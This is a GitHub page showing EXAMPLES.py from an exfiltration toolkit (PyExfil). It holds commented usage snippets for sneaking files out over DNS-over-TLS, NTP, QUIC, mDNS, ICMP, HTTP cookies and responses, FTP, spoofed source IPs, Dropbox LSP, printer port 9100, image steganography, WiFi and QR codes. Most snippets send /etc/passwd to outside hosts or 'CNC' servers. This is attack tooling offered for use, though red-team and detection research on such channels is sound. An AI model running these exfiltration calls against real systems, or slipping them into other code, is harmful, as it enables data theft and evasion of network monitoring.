-
Notifications
You must be signed in to change notification settings - Fork 137
/
Copy pathEXAMPLES.py
149 lines (112 loc) · 3.74 KB
/
EXAMPLES.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python
import sys
FILE_TO_EXFIL = "/etc/passwd"
""" COMMUNICATION EXAMPLES """
""" DNS Over TLS """
# from pyexfil.Comm.DNSoTLS.client import Send
# Send(data="Hal, please open the bay door.", server='1.1.1.1')
# from pyexfil.Comm.DNSoTLS.server import StartServer
# StartServer(server_name='8.8.8.8', port=8888, clients=1, certfile='/etc/cert.pem', keep_ratio=True)
""" NTP Body (Request) """
# from pyexfil.Comm.NTP_Body.client import Broadcast
# Broadcast(data="Hello World", to='ntp.morirt.com', port=123, key="s3kr3t")
# from pyexfil.Comm.NTP_Body.server import Broker
# b = Broker()
# b.listen_clients()
""" GUIC """
# from pyexfil.Comm.GQUIC import Send
# Send(file_name='/etc/passwd', CNC_ip='1.1.1.1', CNC_port=443, key='IMPICKLERICK!')
""" MDNS Query """
# from pyexfil.Comm.MDNS import Send
#
# Send('1.1.1.1', "It's time to get schwifty", sequence=42, spoof_source=False, dns_name='google.com')
# Send('1.1.1.1', "You gotta get schwifty", sequence=43, spoof_source='1.2.3.4', dns_name='yahoo.com')
""" AllJoyn IoT """
# import uuid
#
# from pyexfil.Comm.AllJoyn import Send, ALLJOYN_PORT
#
# Send(
# dst_ip = "8.8.8.8",
# from_ip = "1.1.1.1",
# data = 'Now online',
# src_port=ALLJOYN_PORT,
# session_id=uuid.uuid4().hex
# )
""" NETWORK EXAMPLES """
""" HTTP Cookies """
# from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file
#
# send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)
""" Source IP Based """
# from pyexfil.network.FTP.ftp_exfil import FTPExfiltrator
#
# FTPexf = FTPExfiltrator(file2exfil=FILE_TO_EXFIL, server="8.8.8.8", port=21, creds=(), tls=False)
# FTPexf.get_file_chunks()
# FTPexf.build_final_chunks()
# FTPexf.send_chunks()
""" Source IP Based * """
# from pyexfil.network.SpoofIP.spoofIPs_client import _send
#
# _send(file_path=FILE_TO_EXFIL, to="8.8.8.8")
""" DropBox LSP """
# # Can also be used to CNC communication inside network.
# from pyexfil.network.DB_LSP.dblsp import DB_LSP
#
# dbLSP = DB_LSP(
# cnc='192.168.1.255',
# data=open(FILE_TO_EXFIL, 'rb').read(),
# key="Donnie!"
# )
# dbLSP._Create()
# dbLSP.Send()
""" Exfiltration Over ICMP * """
# from pyexfil.network.ICMP.icmp_exfiltration import send_file
#
# send_file( "8.8.8.8",
# src_ip_addr="127.0.0.1",
# file_path=FILE_TO_EXFIL,
# max_packetsize=512,
# SLEEP=0.1)
""" Over HTTP Response """
# from pyexfil.network.HTTPResp.client import Broadcast
# b = Broadcast(
# fname="/etc/passwd",
# dst_ip="www.espn.com",
# dst_port=80,
# max_size=1024,
# key=DEFAULT_KEY
# )
# b.Exfiltrate()
""" Communicate over 9100 """
# import thread
# from pyexfil.Comm.jetdirect.communicator import Broker
#
#
# def PRINT (src, data):
# print(src)
# print(data)
#
#
# b = Broker("patient0", host = "127.0.0.1", port = 9100, key = "123", retFunc = PRINT)
# thread.start_new_thread(b.listen_clients, ())
# b.broadcast_message("hello world!")
""" STEGANOGRAPHY EXAMPLES """
""" Binary offset in file """
# from pyexfil.Stega.binoffset.binoffset import CreateExfiltrationFile
#
# CreateExfiltrationFile(
# originalImage='pyexfil/Stega/binoffset/image.png',
# rawData=FILE_TO_EXFIL,
# OutputImage="/tmp/new.png")
""" PHYSICAL EXAMPLES """
""" Example for Wifi Payload """
# from pyexfil.physical.wifiPayload.client import exfiltrate
#
# exfiltrate(FILE_TO_EXFIL)
""" Example for QRCode Exfiltration """
# from pyexfil.physical.qr.generator import CreateQRs, PlayQRs
# if CreateQRs(FILE_TO_EXFIL):
# PlayQRs()
# else:
# sys.stderr.write("Something went wrong with creating QRs.\n")